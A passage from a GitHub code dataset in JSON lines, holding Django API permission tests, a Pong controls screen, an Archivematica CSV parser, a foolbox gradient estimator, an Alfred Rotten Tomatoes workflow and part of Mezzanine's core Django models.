괄호.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23399029911","text":"# -*- coding: utf-8 -*-\nimport json\n\nfrom django.contrib.auth.models import User\nfrom rest_framework import status\n\nfrom main.test.api.abstract_rtg_api_test import RtgApiTestCase\nfrom main.test.utils import TestModelUtils\nfrom main.models import Profile\n\n\nclass UserApiTests(RtgApiTestCase):\n \"\"\"\n Users are read_only via the API, except for updates of the own user\n \"\"\"\n\n def setUp(self):\n User.objects.all().delete()\n Profile.objects.all().delete()\n\n def test_user_create(self):\n self.create_test_user(admin=True)\n response = self.create_test_user_api()\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n\n def test_user_create_non_admin(self):\n self.create_test_user()\n response = self.create_test_user_api()\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n def test_user_create_unauth(self):\n self.create_test_user(auth=False)\n response = self.create_test_user_api()\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_user_read(self):\n u1, u2 = TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.set_api_client(u1)\n\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, u1.pk))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['username'], u1.username)\n self.assertIsNotNone(response.data['first_name'])\n self.assertIsNotNone(response.data['last_name'])\n self.assertIsNotNone(response.data['email'])\n\n # other users may NOT be read (they are just not found)\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, u2.pk))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_user_read_list(self):\n \"\"\"\n When a user requests the user list, they will only get their own in return.\n \"\"\"\n u1, u2, u3 = TestModelUtils.create_user(), TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.set_api_client(u1)\n\n response = self.client.get(self.USERS_BASEURL)\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(1, len(response.data))\n\n def test_user_read_admin(self):\n \"\"\"\n admins may read all user details, even of different users\n \"\"\"\n u1, u2 = TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.create_test_user(name=u1.username, admin=True)\n\n users_list = self.client.get(self.USERS_BASEURL).data\n self.assertEqual(len(users_list), 2)\n\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, u2.pk))\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['username'], u2.username)\n self.assertEqual(response.data['first_name'], u2.first_name)\n self.assertEqual(response.data['last_name'], u2.last_name)\n self.assertEqual(response.data['email'], u2.email)\n\n def test_user_public_read(self):\n public_user = self.create_test_user(auth=False)\n response = self.client.get('%s%i/' % (self.USERS_BASEURL, public_user.pk))\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_user_update_other_user_as_admin(self):\n u1 = self.create_test_user('u1')\n self.create_test_user('admin_user', admin=True)\n\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk), {'username': 'newuser'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(username='newuser')\n self.assertIsNotNone(updated_user)\n self.assertEqual(updated_user.username, 'newuser')\n self.assertRaises(User.DoesNotExist, User.objects.get, username='u1')\n\n def test_user_update_other_user_forbidden(self):\n u1 = self.create_test_user('u1')\n self.create_test_user('u2')\n\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk), {'username': 'newuser'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_user_update_self(self):\n u1 = self.create_test_user('u1')\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk),\n {'username': 'newuser', 'about': 'This is me!', 'location': 'Köln'},\n format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(username='newuser')\n self.assertIsNotNone(updated_user)\n self.assertEqual(updated_user.username, 'newuser')\n self.assertRaises(User.DoesNotExist, User.objects.get, username='u1')\n\n def test_user_update_self_profile_updates(self):\n u1 = self.create_test_user('u1')\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk),\n {'email2': 'mail@mail2.de', 'location': 'Kölle', 'about': 'It\\'s me',\n 'avatar': None, 'reminder_emails': False}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_profile = Profile.objects.get(pk=u1.pk)\n self.assertEqual('mail@mail2.de', updated_profile.email2)\n self.assertEqual('Kölle', updated_profile.location)\n self.assertEqual('It\\'s me', updated_profile.about)\n self.assertFalse(updated_profile.reminder_emails)\n\n def test_user_update_username_valid(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'username': 'Hans im Glück', 'first_name': 'Hans', 'last_name': ''},\n format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(pk=user.pk)\n self.assertEqual('Hans', updated_user.first_name)\n self.assertEqual('', updated_user.last_name)\n\n def test_user_update_empty_fields(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'about': '', 'location': '', 'email2': ''}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n def test_user_update_username_too_short(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk), {'username': 'ei'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_update_username_invalid(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'username': 'semikolon;;;'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_update_first_name_too_long(self):\n user = self.create_test_user()\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, user.pk),\n {'first_name': 'aaaaaaaaa max. 30 characters aaaaaaaaaaaaaaaaaaaaaaaa'},\n format='json')\n self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)\n\n def test_user_update_public(self):\n u1 = self.create_test_user('u1', auth=False)\n response = self.client.patch(\"%s%i/\" % (self.USERS_BASEURL, u1.pk),\n {'username': 'newuser', 'location': 'Buxtehude'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)\n\n def test_admin_read_user_details(self):\n \"\"\"\n Admins can request more user details via a dedicated admin endpoint\n \"\"\"\n u1, u2 = TestModelUtils.create_user(), TestModelUtils.create_user()\n\n self.create_test_user(name=u1.username, admin=True)\n\n response = self.client.get('%s%i/' % (self.ADMIN_USERS_BASEURL, u2.pk))\n\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertEqual(response.data['username'], u2.username)\n self.assertEqual(response.data['open_bettables'], 0)\n self.assertEqual(response.data['last_login'], None)\n \n def test_admin_update_user_has_paid_valid(self):\n \"\"\"\n Admins may patch any user\n \"\"\"\n self.create_test_user(admin=True)\n some_user = TestModelUtils.create_user()\n\n response = self.client.patch(\"%s%i/\" % (self.ADMIN_USERS_BASEURL, some_user.pk),\n {'has_paid': 'true'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n\n updated_user = User.objects.get(pk=some_user.pk)\n self.assertEqual(True, updated_user.profile.has_paid)\n\n def test_user_update_user_has_paid_failure(self):\n \"\"\"\n Normal users may not patch a different user\n \"\"\"\n self.create_test_user()\n some_user = TestModelUtils.create_user()\n\n response = self.client.patch(\"%s%i/\" % (self.ADMIN_USERS_BASEURL, some_user.pk),\n {'has_paid': 'true'}, format='json')\n self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)\n\n updated_user = User.objects.get(pk=some_user.pk)\n self.assertEqual(False, updated_user.profile.has_paid)\n\n def test_user_delete_other_user_not_found(self):\n \"\"\"\n A user attempting to delete another user will get a 404 because the User view set\n will not even allow the user to see the other user, let alone deleting them.\n \"\"\"\n self.create_test_user()\n some_other_user = TestModelUtils.create_user()\n response = self.client.delete(\"%s%i/\" % (self.USERS_BASEURL, some_other_user.pk))\n self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)\n\n def test_user_delete_self_ok(self):\n user = self.create_test_user()\n response = self.client.delete(\"%s%i/\" % (self.USERS_BASEURL, user.pk))\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n def test_admin_delete_user_ok(self):\n self.create_test_user(admin=True)\n some_other_user = TestModelUtils.create_user()\n response = self.client.delete(\"%s%i/\" % (self.USERS_BASEURL, some_other_user.pk))\n self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)\n\n def create_test_user_api(self):\n return self.client.post(self.USERS_BASEURL, {'username': 'test_user_api', 'first_name': 'Testy',\n 'last_name': 'McTestface', 'email': 'test_user@test.de'},\n format='json')\n","repo_name":"mloeks/rtg","sub_path":"main/test/api/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":10910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20094475295","text":"from enum import Enum\n\nDATE_FORMAT: str = \"%Y-%m-%d\"\nPRECISION: int = 2\n\n\nclass Status(Enum):\n \"\"\"\n Enum for application Status. It can be `APPLIED`, `OA`, `TECH_INTERVIEW`, `HR_ROUND`, `REJECTED` or `OFFER`.\n\n A list of possible values that user can enter for it can be seen [here][track.app_constants.from_string].\n \"\"\"\n\n APPLIED = \"APPLIED\"\n OA = \"ONLINE_ASSESSMENT\"\n TECH_INTERVIEW = \"TECH_INTERVIEW\"\n HR_ROUND = \"HR_ROUND\"\n REJECTED = \"REJECTED\"\n OFFER = \"OFFER\"\n\n\ndef from_string(status: str) -> Status:\n \"\"\"\n Parse the given string to the corresponding `Status` Enum value. Only the values mentioned in the source code below\n for each status will be allowed and converted to the corresponding Enum value.\n\n Args:\n status: Status value in `str`.\n\n Returns:\n Status: Corresponding Enum value for the given string\n \"\"\"\n if status.upper() == \"APPLIED\":\n return Status.APPLIED\n elif status.upper() in [\n \"ONLINE_ASSESSMENT\",\n \"ONLINE ASSESSMENT\",\n \"OA\",\n \"ONLINE-ASSESSMENT\",\n ]:\n return Status.OA\n elif status.upper() in [\n \"TECH_INTERVIEW\",\n \"TECH INTERVIEW\",\n \"TECH-INTERVIEW\",\n \"TECH ROUND\",\n \"TECH_ROUND\",\n \"TECH-ROUND\",\n \"TECH\",\n ]:\n return Status.TECH_INTERVIEW\n elif status.upper() in [\"HR_ROUND\", \"HR ROUND\", \"HR-ROUND\"]:\n return Status.HR_ROUND\n elif status.upper() in [\"REJECTED\"]:\n return Status.REJECTED\n elif status.upper() in [\"OFFER\", \"SELECTED\"]:\n return Status.OFFER\n else:\n raise ValueError(f\"'{status}' is not a Valid Status\")\n","repo_name":"itsadityagupta/track-job-applications","sub_path":"track/app_constants.py","file_name":"app_constants.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"30346051669","text":"import os\nimport sys\nimport csv\nimport traceback\nsys.path.append(\"/usr/lib/archivematica/archivematicaCommon\")\nfrom sharedVariablesAcrossModules import sharedVariablesAcrossModules\n\nsimpleMetadataCSVkey = []\nsimpleMetadataCSV = {}\ncompoundMetadataCSVkey = []\ncompoundMetadataCSV = {}\n\n\nCSVMetadata = (simpleMetadataCSVkey, simpleMetadataCSV,\n compoundMetadataCSVkey, compoundMetadataCSV)\n\n\ndef parseMetadata(SIPPath):\n transfersPath = os.path.join(SIPPath, \"objects\", \"metadata\", \"transfers\")\n if not os.path.isdir(transfersPath):\n return\n for transfer in os.listdir(transfersPath):\n metadataCSVFilePath = os.path.join(transfersPath,\n transfer, \"metadata.csv\")\n if os.path.isfile(metadataCSVFilePath):\n try:\n parseMetadtaCSV(metadataCSVFilePath)\n except Exception as inst:\n print >>sys.stderr, type(inst) # the exception instance\n print >>sys.stderr, inst.args\n print >>sys.stderr, \"error parsing: \", metadataCSVFilePath\n traceback.print_exc(file=sys.stdout)\n sharedVariablesAcrossModules.globalErrorCount += 1\n\n\ndef parseMetadtaCSV(metadataCSVFilePath):\n # use universal newline mode to support unusual newlines, like \\r\n with open(metadataCSVFilePath, 'rbU') as f:\n reader = csv.reader(f)\n firstRow = True\n type = \"\"\n for row in reader:\n if firstRow: # header row\n type = row[0].lower()\n if type == \"filename\":\n CSVMetadata[0].extend(row)\n elif type == \"parts\":\n CSVMetadata[2].extend(row)\n else:\n print >>sys.stderr, \"error parsing: \", metadataCSVFilePath\n print >>sys.stderr, \"unsupported: \", type\n sharedVariablesAcrossModules.globalErrorCount += 1\n return\n firstRow = False\n\n else: # data row\n if type == \"filename\":\n simpleMetadataCSV[row[0]] = row\n elif type == \"parts\":\n directory = row[0]\n if directory.endswith(\"/\"):\n directory = directory[:-1]\n compoundMetadataCSV[directory] = row\n","repo_name":"andrewjbtw/archivematica","sub_path":"src/MCPClient/lib/clientScripts/archivematicaCreateMETSMetadataCSV.py","file_name":"archivematicaCreateMETSMetadataCSV.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"72824366120","text":"from typing import Callable, Tuple, Type\nimport eagerpy as ep\nfrom .types import BoundsInput, Bounds\nfrom .attacks.base import Attack\n\n\ndef evolutionary_strategies_gradient_estimator(\n AttackCls: Type[Attack],\n *,\n samples: int,\n sigma: float,\n bounds: BoundsInput,\n clip: bool,\n) -> Type[Attack]:\n\n if not hasattr(AttackCls, \"value_and_grad\"):\n raise ValueError(\n \"This attack does not support gradient estimators.\"\n ) # pragma: no cover\n\n bounds = Bounds(*bounds)\n\n class GradientEstimator(AttackCls): # type: ignore\n def value_and_grad(\n self,\n loss_fn: Callable[[ep.Tensor], ep.Tensor],\n x: ep.Tensor,\n ) -> Tuple[ep.Tensor, ep.Tensor]:\n value = loss_fn(x)\n\n gradient = ep.zeros_like(x)\n for k in range(samples // 2):\n noise = ep.normal(x, shape=x.shape)\n\n pos_theta = x + sigma * noise\n neg_theta = x - sigma * noise\n\n if clip:\n pos_theta = pos_theta.clip(*bounds)\n neg_theta = neg_theta.clip(*bounds)\n\n pos_loss = loss_fn(pos_theta)\n neg_loss = loss_fn(neg_theta)\n\n gradient += (pos_loss - neg_loss) * noise\n\n gradient /= 2 * sigma * 2 * samples\n\n return value, gradient\n\n GradientEstimator.__name__ = AttackCls.__name__ + \"WithESGradientEstimator\"\n GradientEstimator.__qualname__ = AttackCls.__qualname__ + \"WithESGradientEstimator\"\n return GradientEstimator\n\n\nes_gradient_estimator = evolutionary_strategies_gradient_estimator\n","repo_name":"bethgelab/foolbox","sub_path":"foolbox/gradient_estimators.py","file_name":"gradient_estimators.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":2569,"dataset":"github-code","pt":"18"} +{"seq_id":"11627016865","text":"#!/usr/bin/python\n# encoding: utf-8\n\nimport sys\n\nfrom workflow import Workflow, web\n\nitems = {'movies': 'm', 'tvResults': 'tv', 'actors': 'celebrity'}\n\ndef getThumbnail(id, url, type):\n import urllib\n import os.path\n\n if url.endswith('gif'):\n return 'images/%s.png' % type\n\n newImagePath = '%s/%s' % (wf.cachedir, id)\n\n if not os.path.isfile(newImagePath):\n urllib.urlretrieve(url, newImagePath)\n\n return newImagePath\n\n\ndef main(wf):\n if len(wf.args):\n query = wf.args[0]\n else:\n query = None\n\n url = 'http://www.rottentomatoes.com/search/json/'\n params = dict(q_enc='UTF-8',\n catCount=2,\n q=query.strip())\n\n response = web.get(url, params)\n json = response.json()\n\n for key in items.keys():\n for item in json[key]:\n title = item['name']\n subtitle = ''\n id = None\n url = None\n\n if 'vanity' in item:\n id = '%s' % item['vanity']\n url = 'http://www.rottentomatoes.com/%s/%s' % (items[key], id)\n\n if 'url' in item:\n id = '%s' % item['url']\n url = 'http://www.rottentomatoes.com%s' % (id)\n\n # ico = getThumbnail(id, item['image'], key)\n\n if 'subline' in item:\n subtitle = item['subline']\n\n if 'year' in item:\n title = u'%s (%s)' % (title, item['year'])\n\n if 'startYear' in item and 'endYear' in item:\n title = u'%s (%s - %s)' % (title, item['startYear'], item['endYear'])\n\n if id is not None:\n wf.add_item(\n title=title,\n subtitle=subtitle,\n arg=url,\n valid=True,\n icon='images/%s.png' % key,\n icontype=None,\n uid=id\n )\n\n wf.send_feedback()\n\n\nif __name__ == '__main__':\n wf = Workflow()\n sys.exit(wf.run(main))","repo_name":"mrz1277/alfred-workflows","sub_path":"net.yakiyama.alfred.rotten/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"29393097729","text":"from states import State\nfrom text import *\n\nclass ControlsScreen(State):\n def __init__(self,game):\n super().__init__(game)\n self.player_controls = Text(40,'PLAYER 1',self.game.WIDTH//4,50,'#5ea3d1')\n self.opponent_controls = Text(40,'PLAYER 2',self.game.WIDTH*3//4,50,'#c2626b')\n\n self.player_controls1 = PromptText(35, 'W: Move up',75,100,'#5ea3d1')\n self.player_controls2 = PromptText(35, 'S: Move down',75,130,'#5ea3d1')\n\n self.opponent_controls1 = PromptText(35, 'Arrow key up: Move up',400,100,'#c2626b')\n self.opponent_controls2 = PromptText(35, 'Arrow key down: Move down',400,130,'#c2626b')\n\n self.win_text = Text(40, 'First Player to score 5 points wins!',self.game.WIDTH//2,410,'#d19a66')\n \n def draw(self, screen):\n self.player_controls.draw(screen)\n self.opponent_controls.draw(screen)\n \n pygame.draw.aaline(screen, (200,200,200),(self.game.WIDTH//2,0),(self.game.WIDTH//2,320))\n pygame.draw.aaline(screen, (200,200,200),(0,320),(self.game.WIDTH,320))\n \n self.player_controls1.draw(screen)\n self.player_controls2.draw(screen)\n \n self.opponent_controls1.draw(screen)\n self.opponent_controls2.draw(screen)\n \n self.win_text.draw(screen)\n ","repo_name":"LuisMCap/Pong-Game","sub_path":"src/controls.py","file_name":"controls.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14855393466","text":"from json import loads\nfrom urllib.parse import urlencode\nfrom urllib.request import urlopen\n\nfrom django.apps import apps\nfrom django.contrib.contenttypes.fields import GenericForeignKey\nfrom django.db import models\nfrom django.db.models.base import ModelBase\nfrom django.template.defaultfilters import truncatewords_html\nfrom django.utils.html import format_html, strip_tags\nfrom django.utils.timesince import timesince\nfrom django.utils.timezone import now\nfrom django.utils.translation import gettext\nfrom django.utils.translation import gettext_lazy as _\n\nfrom mezzanine.conf import settings\nfrom mezzanine.core.fields import OrderField, RichTextField\nfrom mezzanine.core.managers import CurrentSiteManager, DisplayableManager\nfrom mezzanine.generic.fields import KeywordsField\nfrom mezzanine.utils.html import TagCloser\nfrom mezzanine.utils.models import base_concrete_model, get_user_model_name\nfrom mezzanine.utils.sites import current_request, current_site_id\nfrom mezzanine.utils.urls import admin_url, slugify, unique_slug\n\nuser_model_name = get_user_model_name()\n\n\ndef wrapped_manager(klass):\n if settings.USE_MODELTRANSLATION:\n from modeltranslation.manager import MultilingualManager\n\n class Mgr(MultilingualManager, klass):\n pass\n\n return Mgr()\n else:\n return klass()\n\n\nclass SiteRelated(models.Model):\n \"\"\"\n Abstract model for all things site-related. Adds a foreignkey to\n Django's ``Site`` model, and filters by site with all querysets.\n See ``mezzanine.utils.sites.current_site_id`` for implementation\n details.\n \"\"\"\n\n objects = wrapped_manager(CurrentSiteManager)\n\n class Meta:\n abstract = True\n\n site = models.ForeignKey(\"sites.Site\", on_delete=models.CASCADE, editable=False)\n\n def save(self, update_site=False, *args, **kwargs):\n \"\"\"\n Set the site to the current site when the record is first\n created, or the ``update_site`` argument is explicitly set\n to ``True``.\n \"\"\"\n if update_site or (self.id is None and self.site_id is None):\n self.site_id = current_site_id()\n super().save(*args, **kwargs)\n\n\nclass Slugged(SiteRelated):\n \"\"\"\n Abstract model that handles auto-generating slugs. Each slugged\n object is also affiliated with a specific site object.\n \"\"\"\n\n title = models.CharField(_(\"Title\"), max_length=500)\n slug = models.CharField(\n _(\"URL\"),\n max_length=2000,\n blank=True,\n help_text=_(\"Leave blank to have the URL auto-generated from \" \"the title.\"),\n )\n\n class Meta:\n abstract = True\n\n def __str__(self):\n return self.title\n\n def save(self, *args, **kwargs):\n \"\"\"\n If no slug is provided, generates one before saving.\n \"\"\"\n if not self.slug:\n self.slug = self.generate_unique_slug()\n super().save(*args, **kwargs)\n\n def generate_unique_slug(self):\n \"\"\"\n Create a unique slug by passing the result of get_slug() to\n utils.urls.unique_slug, which appends an index if necessary.\n \"\"\"\n # For custom content types, use the ``Page`` instance for\n # slug lookup.\n concrete_model = base_concrete_model(Slugged, self)\n slug_qs = concrete_model.objects.exclude(id=self.id)\n return unique_slug(slug_qs, \"slug\", self.get_slug())\n\n def get_slug(self):\n \"\"\"\n Allows subclasses to implement their own slug creation logic.\n \"\"\"\n attr = \"title\"\n if settings.USE_MODELTRANSLATION:\n from modeltranslation.utils import build_localized_fieldname\n\n attr = build_localized_fieldname(attr, settings.LANGUAGE_CODE)\n # Get self.title_xx where xx is the default language, if any.\n # Get self.title otherwise.\n return slugify(getattr(self, attr, None) or self.title)\n\n def admin_link(self):\n return format_html(\n \"{}\", self.get_absolute_url(), gettext(\"View on site\")\n )\n\n admin_link.short_description = \"\"\n\n\nclass MetaData(models.Model):\n \"\"\"\n Abstract model that provides meta data for content.\n \"\"\"\n\n _meta_title = models.CharField(\n _(\"Title\"),\n null=True,\n blank=True,\n max_length=500,\n help_text=_(\n \"Optional title to be used in the HTML title tag. \"\n \"If left blank, the main title field will be used.\"\n ),\n )\n description = models.TextField(_(\"Description\"), blank=True)\n gen_description = models.BooleanField(\n _(\"Generate description\"),\n help_text=_(\n \"If checked, the description will be automatically \"\n \"generated from content. Uncheck if you want to manually \"\n \"set a custom description.\"\n ),\n default=True,\n )\n keywords = KeywordsField(verbose_name=_(\"Keywords\"))\n\n class Meta:\n abstract = True\n\n def save(self, *args, **kwargs):\n \"\"\"\n Set the description field on save.\n \"\"\"\n if self.gen_description:\n self.description = strip_tags(self.description_from_content())\n super().save(*args, **kwargs)\n\n def meta_title(self):\n \"\"\"\n Accessor for the optional ``_meta_title`` field, which returns\n the string version of the instance if not provided.\n \"\"\"\n return self._meta_title or getattr(self, \"title\", str(self))\n\n def description_from_content(self):\n \"\"\"\n Returns the first block or sentence of the first content-like\n field.\n \"\"\"\n description = \"\"\n # Use the first RichTextField, or TextField if none found.\n for field_type in (RichTextField, models.TextField):\n if not description:\n for field in self._meta.get_fields():\n if isinstance(field, field_type) and field.name != \"description\":\n description = getattr(self, field.name)\n if description:\n from mezzanine.core.templatetags.mezzanine_tags import (\n richtext_filters,\n )\n\n description = richtext_filters(description)\n break\n # Fall back to the title if description couldn't be determined.\n if not description:\n description = str(self)\n # Strip everything after the first block or sentence.\n ends = (\"

    \", \"
    \", \"
    \", \"
    \", \"\", \"\\n\", \". \", \"! \", \"? \")\n for end in ends:\n pos = description.lower().find(end)\n if pos > -1:\n description = TagCloser(description[:pos]).html\n break\n else:\n description = truncatewords_html(description, 100)\n try:\n description = unicode(description)\n except NameError:\n pass # Python 3.\n return description\n\n\nclass TimeStamped(models.Model):\n \"\"\"\n Provides created and updated timestamps on models.\n \"\"\"\n\n class Meta:\n abstract = True\n\n created = models.DateTimeField(null=True, editable=False)\n updated = models.DateTimeField(null=True, editable=False)\n\n def save(self, *args, **kwargs):\n _now = now()\n self.updated = _now\n if not self.id:\n self.created = _now\n super().save(*args, **kwargs)\n\n\nCONTENT_STATUS_DRAFT = 1\nCONTENT_STATUS_PUBLISHED = 2\nCONTENT_STATUS_CHOICES = (\n (CONTENT_STATUS_DRAFT, _(\"Draft\")),\n (CONTENT_STATUS_PUBLISHED, _(\"Published\")),\n)\n\nSHORT_URL_UNSET = \"unset\"\n\n\nclass Displayable(Slugged, MetaData, TimeStamped):\n \"\"\"\n Abstract model that provides features of a visible page on the\n website such as publishing fields. Basis of Mezzanine pages,\n blog posts, and Cartridge products.\n \"\"\"\n\n status = models.IntegerField(\n _(\"Status\"),\n choices=CONTENT_STATUS_CHOICES,\n default=CONTENT_STATUS_PUBLISHED,\n help_text=_(\n \"With Draft chosen, will only be shown for admin users \" \"on the site.\"\n ),\n )\n publish_date = models.DateTimeField(\n _(\"Published from\"),\n help_text=_(\"With Published chosen, won't be shown until this time\"),\n blank=True,\n null=True,\n db_index=True,\n )\n expiry_date = models.DateTimeField(\n _(\"Expires on\"),\n help_text=_(\"With Published chosen, won't be shown after this time\"),\n blank=True,\n null=True,\n )\n short_url = models.URLField(blank=True, null=True)\n in_sitemap = models.BooleanField(_(\"Show in sitemap\"), default=True)\n\n objects = wrapped_manager(DisplayableManager)\n search_fields = {\"keywords\": 10, \"title\": 5}\n\n class Meta:\n abstract = True\n\n def save(self, *args, **kwargs):\n \"\"\"\n Set default for ``publish_date``. We can't use ``auto_now_add`` on\n the field as it will be blank when a blog post is created from\n the quick blog form in the admin dashboard.\n \"\"\"\n if self.publish_date is None:\n self.publish_date = now()\n super().save(*args, **kwargs)\n\n def get_admin_url(self):\n return admin_url(self, \"change\", self.id)\n\n def publish_date_since(self):\n \"\"\"\n Returns the time since ``publish_date``.\n \"\"\"\n return timesince(self.publish_date)\n\n publish_date_since.short_description = _(\"Published from\")\n\n def published(self):\n \"\"\"\n For non-staff users, return True when status is published and\n the publish and expiry dates fall before and after the\n current date when specified.\n \"\"\"\n return (\n self.status == CONTENT_STATUS_PUBLISHED\n and (self.publish_date is None or self.publish_date <= now())\n and (self.expiry_date is None or self.expiry_date >= now())\n )\n\n def get_absolute_url(self):\n \"\"\"\n Raise an error if called on a subclass without\n ``get_absolute_url`` defined, to ensure all search results\n contains a URL.\n \"\"\"\n name = self.__class__.__name__\n raise NotImplementedError(\n \"The model %s does not have \" \"get_absolute_url defined\" % name\n )\n\n def get_absolute_url_with_host(self):\n \"\"\"\n Returns host + ``get_absolute_url`` - used by the various\n ``short_url`` mechanics below.\n\n Technically we should use ``self.site.domain``, here, however\n if we were to invoke the ``short_url`` mechanics on a list of\n data (eg blog post list view), we'd trigger a db query per\n item. Using ``current_request`` should provide the same\n result, since site related data should only be loaded based\n on the current host anyway.\n \"\"\"\n return current_request().build_absolute_uri(self.get_absolute_url())\n\n def set_short_url(self):\n \"\"\"\n Generates the ``short_url`` attribute if the model does not\n already have one. Used by the ``set_short_url_for`` template\n tag and ``TweetableAdmin``.\n\n If no sharing service is defined (bitly is the one implemented,\n but others could be by overriding ``generate_short_url``), the\n ``SHORT_URL_UNSET`` marker gets stored in the DB. In this case,\n ``short_url`` is temporarily (eg not persisted) set to\n host + ``get_absolute_url`` - this is so that we don't\n permanently store ``get_absolute_url``, since it may change\n over time.\n \"\"\"\n if not self.short_url or self.short_url == SHORT_URL_UNSET:\n self.short_url = self.generate_short_url()\n self.save()\n if self.short_url == SHORT_URL_UNSET:\n self.short_url = self.get_absolute_url_with_host()\n\n def generate_short_url(self):\n \"\"\"\n Returns a new short URL generated using bit.ly if credentials for the\n service have been specified.\n \"\"\"\n from mezzanine.conf import settings\n\n if settings.BITLY_ACCESS_TOKEN:\n url = \"https://api-ssl.bit.ly/v3/shorten?%s\" % urlencode(\n {\n \"access_token\": settings.BITLY_ACCESS_TOKEN,\n \"uri\": self.get_absolute_url_with_host(),\n }\n )\n response = loads(urlopen(url).read().decode(\"utf-8\"))\n if response[\"status_code\"] == 200:\n return response[\"data\"][\"url\"]\n return SHORT_URL_UNSET\n\n def _get_next_or_previous_by_publish_date(self, is_next, **kwargs):\n \"\"\"\n Retrieves next or previous object by publish date. We implement\n our own version instead of Django's so we can hook into the\n published manager and concrete subclasses.\n \"\"\"\n arg = \"publish_date__gt\" if is_next else \"publish_date__lt\"\n order = \"publish_date\" if is_next else \"-publish_date\"\n lookup = {arg: self.publish_date}\n concrete_model = base_concrete_model(Displayable, self)\n try:\n queryset = concrete_model.objects.published\n except AttributeError:\n queryset = concrete_model.objects.all\n try:\n return queryset(**kwargs).filter(**lookup).order_by(order)[0]\n except IndexError:\n pass\n\n def get_next_by_publish_date(self, **kwargs):\n \"\"\"\n Retrieves next object by publish date.\n \"\"\"\n return self._get_next_or_previous_by_publish_date(True, **kwargs)\n\n def get_previous_by_publish_date(self, **kwargs):\n \"\"\"\n Retrieves previous object by publish date.\n \"\"\"\n return self._get_next_or_previous_by_publish_date(False, **kwargs)\n\n\nclass RichText(models.Model):\n \"\"\"\n Provides a Rich Text field for managing general content and making\n it searchable.\n \"\"\"\n\n content = RichTextField(_(\"Content\"))\n\n search_fields = (\"content\",)\n\n class Meta:\n abstract = True\n\n\nclass OrderableBase(ModelBase):\n \"\"\"\n Checks for ``order_with_respect_to`` on the model's inner ``Meta``\n class and if found, copies it to a custom attribute and deletes it\n since it will cause errors when used with ``ForeignKey(\"self\")``.\n Also creates the ``ordering`` attribute on the ``Meta`` class if\n not yet provided.\n \"\"\"\n\n def __new__(cls, name, bases, attrs):\n if \"Meta\" not in attrs:\n\n class Meta:\n pass\n\n attrs[\"Meta\"] = Meta\n if hasattr(attrs[\"Meta\"], \"order_with_respect_to\"):\n order_field = attrs[\"Meta\"].order_with_respect_to\n attrs[\"order_with_respect_to\"] = order_field\n del attrs[\"Meta\"].order_with_respect_to\n if not hasattr(attrs[\"Meta\"], \"ordering\"):\n setattr(attrs[\"Meta\"], \"ordering\", (\"_order\",))\n return super().__new__(cls, name, bases, attrs)\n\n\nclass Orderable(models.Model, 